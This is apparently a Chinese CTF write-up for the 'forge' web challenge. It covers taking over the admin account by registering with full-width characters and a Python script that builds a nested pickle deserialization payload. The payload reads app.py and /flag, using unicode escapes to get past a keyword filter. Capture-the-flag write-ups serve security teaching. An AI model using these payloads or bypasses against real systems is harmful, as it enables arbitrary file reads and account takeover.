陇剑杯

web

forge

首先要登录,注册一个admin发现已经注册了,注册其他的又显示只能admin登录,这里利用全角字符绕过进行注册修改admin密码
admin
成功登录,发现可以上传.pkl文件并运行,有一个example文件作为例子,下载下来看看

1
2
3
4
import pickle
import pickletools
with open("example.pkl", "rb") as f:
pickletools.dis(f)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    0: \x80 PROTO      4
2: \x95 FRAME 112
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'CHIKAWA'
31: \x94 MEMOIZE (as 1)
32: \x93 STACK_GLOBAL
33: \x94 MEMOIZE (as 2)
34: ) EMPTY_TUPLE
35: \x81 NEWOBJ
36: \x94 MEMOIZE (as 3)
37: } EMPTY_DICT
38: \x94 MEMOIZE (as 4)
39: ( MARK
40: \x8c SHORT_BINUNICODE 'model_name'
52: \x94 MEMOIZE (as 5)
53: \x8c SHORT_BINUNICODE 'Example'
62: \x94 MEMOIZE (as 6)
63: \x8c SHORT_BINUNICODE 'data'
69: \x94 MEMOIZE (as 7)
70: C SHORT_BINBYTES b"cbuiltins\nprint\n(S'chikawa'\ntR."
103: \x94 MEMOIZE (as 8)
104: \x8c SHORT_BINUNICODE 'parameters'
116: \x94 MEMOIZE (as 9)
117: \x8c SHORT_BINUNICODE ''
119: \x94 MEMOIZE (as 10)
120: u SETITEMS (MARK at 39)
121: b BUILD
122: . STOP
highest protocol among opcodes = 4

发现data数据中含有内嵌的pickle流,在网站上运行.pkl文件后会反序列化该data数据从而命令执行
仿造example.pkl文件写一个生成.pkl文件的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import pickle

# 创建与目标结构匹配的自定义类
class CHIKAWA:
def __init__(self):
self.model_name = 'Example1'
self.data = b"cbuiltins\nprint\n(S'chikawa'\ntR."
self.parameters = ''

obj = CHIKAWA()
# 手动构建 pickle 字节序列
obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(S'app.py'
tRp2
g1
(g2
tR.
"""

obj.data = b"""cpathlib
Path
p0
cbuiltins
getattr
(g0
S'read_text'
tRp1
cpathlib
PosixPath
(V\u002f\u0066\u006c\u0061\u0067
tRp2
g1
(g2
tR.
"""


blob = pickle.dumps(obj, protocol=4)
print(pickle.loads(blob))
# 保存到文件
with open('tast.pkl', 'wb') as f:
f.write(blob)

通过构造 getattr(pathlib.Path, ‘read_text’)(pathlib.PosixPath(‘app.py’)) 读取 app.py
但是 flag 被过滤了,使用 unicode 编码绕过